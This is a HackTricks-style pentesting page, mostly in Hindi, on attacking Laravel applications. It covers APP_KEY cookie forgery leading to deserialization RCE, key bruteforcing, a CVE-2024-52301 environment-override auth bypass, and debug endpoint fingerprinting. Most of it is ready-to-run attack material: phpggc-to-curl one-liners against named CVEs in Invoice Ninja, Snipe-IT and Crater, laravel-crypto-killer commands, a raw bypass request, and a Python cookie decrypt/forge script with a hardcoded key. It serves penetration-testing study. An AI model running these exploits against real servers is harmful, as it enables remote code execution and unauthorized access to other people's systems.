Laravel

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Laravel SQLInjection

इस बारे में जानकारी यहाँ पढ़ें: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel आंतरिक रूप से AES-256-CBC (या GCM) और HMAC इंटीग्रिटी के साथ (Illuminate\\Encryption\\Encrypter) का उपयोग करता है। अंततः क्लाइंट को भेजा जाने वाला कच्चा ciphertext इस प्रकार का JSON object का Base64 होता है:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) डिफ़ॉल्ट रूप से सादा-पाठ को serialize() करेगा, जबकि decrypt($payload, $unserialize=true) स्वतः unserialize() करेगा डिक्रिप्ट किए गए मान को। इसलिए कोई भी हमलावर जो 32-बाइट गुप्त APP_KEY जानता है, वह एक encrypted PHP serialized object तैयार कर सकता है और magic methods (__wakeup, __destruct, …) के माध्यम से RCE प्राप्त कर सकता है।

न्यूनतम PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject उत्पन्न स्ट्रिंग को किसी भी कमजोर decrypt() sink (route param, cookie, session, …) में डालें।


laravel-crypto-killer 🧨

laravel-crypto-killer पूरे प्रक्रिया को ऑटोमेट करता है और एक सुविधाजनक bruteforce मोड जोड़ता है:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


वास्तविक कमजोर पैटर्न

ProjectVulnerable sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie जब Passport::withCookieSerialization() सक्षम होLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

शोषण कार्यप्रवाह हमेशा यह होता है:

  1. 32-byte APP_KEY प्राप्त करें या brute-force करें।
  2. PHPGGC के साथ एक gadget chain बनाएं (उदाहरण के लिए Laravel/RCE13, Laravel/RCE9 या Laravel/RCE15)।
  3. serialized gadget को laravel_crypto_killer.py और प्राप्त APP_KEY के साथ encrypt करें।
  4. ciphertext को vulnerable decrypt() sink (route parameter, cookie, session …) में पहुंचाकर RCE ट्रिगर करें।

नीचे संक्षिप्त one-liners दिए गए हैं जो ऊपर बताए गए प्रत्येक वास्तविक CVE के लिए पूरा attack path दर्शाते हैं:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

क्योंकि हर नया Laravel response कम से कम 1 encrypted cookie (XSRF-TOKEN और सामान्यतः laravel_session) सेट करता है, public internet scanners (Shodan, Censys, …) leak millions of ciphertexts जिन्हें offline attack किया जा सकता है।

Key findings of the research published by Synacktiv (2024-2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers अभी भी legacy CVE-2018-15133 के प्रति vulnerable हैं क्योंकि tokens सीधे serialized data contain करते हैं।

  • Huge key reuse – Top-10 APP_KEYs हार्ड-कोडेड defaults हैं जो commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …) के साथ आते हैं।

निजी Go टूल nounours AES-CBC/GCM bruteforce throughput को ~1.5 billion tries/s तक बढ़ाता है, जिससे पूरे डेटासेट का cracking <2 minutes में संभव हो जाता है।

CVE-2024-52301 – HTTP argv/env override → auth bypass

जब PHP का register_argc_argv=On (कई distros पर सामान्य) होता है, PHP query string से निकले HTTP requests के लिए एक argv array expose करता है। हाल की Laravel versions इन “CLI-like” args को parse करती थीं और runtime पर --env=<value> को मानती थीं। इससे किसी भी URL के अंत में इसे जोड़कर current HTTP request के लिए framework environment को बदलना संभव हो जाता है:

  • Quick check:

  • Visit https://target/?--env=local या कोई भी string और environment-dependent बदलाव देखें (debug banners, footers, verbose errors). अगर string reflected होती है, तो override काम कर रहा है।

  • Impact example (business logic trusting a special env):

  • अगर ऐप में ऐसे branches हैं जैसे if (app()->environment('preprod')) { /* bypass auth */ }, तो आप वैध creds के बिना authenticate कर सकते हैं बस login POST भेजकर:

  • POST /login?--env=preprod

  • Notes:

  • Works per-request, no persistence.

  • Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.

  • Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.

  • Mitigations:

  • PHP-FPM/Apache के लिए register_argc_argv को disable करें।

  • Laravel को upgrade करें ताकि HTTP requests पर argv ignore करे और production routes में app()->environment() पर आधारित किसी भी trust assumption को हटा दें।

Minimal exploitation flow (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravel ट्रिक्स

डिबगिंग मोड

अगर Laravel डिबगिंग मोड में है तो आप कोड और संवेदनशील डेटा तक पहुँच सकेंगे.
उदाहरण के लिए http://127.0.0.1:8000/profiles:

यह आमतौर पर अन्य Laravel RCE CVEs को exploiting करने के लिए आवश्यक होता है।

Fingerprinting & exposed dev endpoints

Laravel स्टैक और production में एक्सपोज़्ड खतरनाक dev tooling की पहचान के लिए त्वरित जांचें:

  • /_ignition/health-check → Ignition मौजूद है (debug tool used by CVE-2021-3129). यदि बिना प्रमाणीकरण पहुँच योग्य है, तो ऐप डिबग या misconfigured हो सकता है।
  • /_debugbar → Laravel Debugbar assets; अक्सर डिबग मोड का संकेत होता है।
  • /telescope → Laravel Telescope (dev monitor). यदि सार्वजनिक है, तो व्यापक जानकारी का खुलासा और संभावित क्रियाएं अपेक्षित हैं।
  • /horizon → Queue dashboard; संस्करण का खुलासा और कभी-कभी CSRF-protected actions।
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages भी fingerprint करने में मदद करते हैं।
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel .env नाम की फ़ाइल में वह APP सहेजता है जिसका उपयोग cookies और अन्य credentials को encrypt करने के लिए किया जाता है, जिसे कुछ path traversal के जरिए /../.env के तहत एक्सेस किया जा सकता है।

Laravel यह जानकारी debug page में भी दिखाएगा (जो तब दिखाई देता है जब Laravel किसी error को पाता है और यह सक्रिय होता है)।

Laravel के secret APP_KEY का उपयोग करके आप cookies को decrypt और re-encrypt कर सकते हैं:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

प्रभावित संस्करण: 5.5.40 और 5.6.x से लेकर 5.6.29 तक (https://www.cvedetails.com/cve/CVE-2018-15133/)

यहाँ आप deserialization vulnerability के बारे में जानकारी पा सकते हैं: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

आप इसे टेस्ट और exploit करने के लिए उपयोग कर सकते हैं: https://github.com/kozmic/laravel-poc-CVE-2018-15133
या आप इसे metasploit के साथ भी exploit कर सकते हैं: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

एक और deserialization: https://github.com/ambionics/laravel-exploits

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें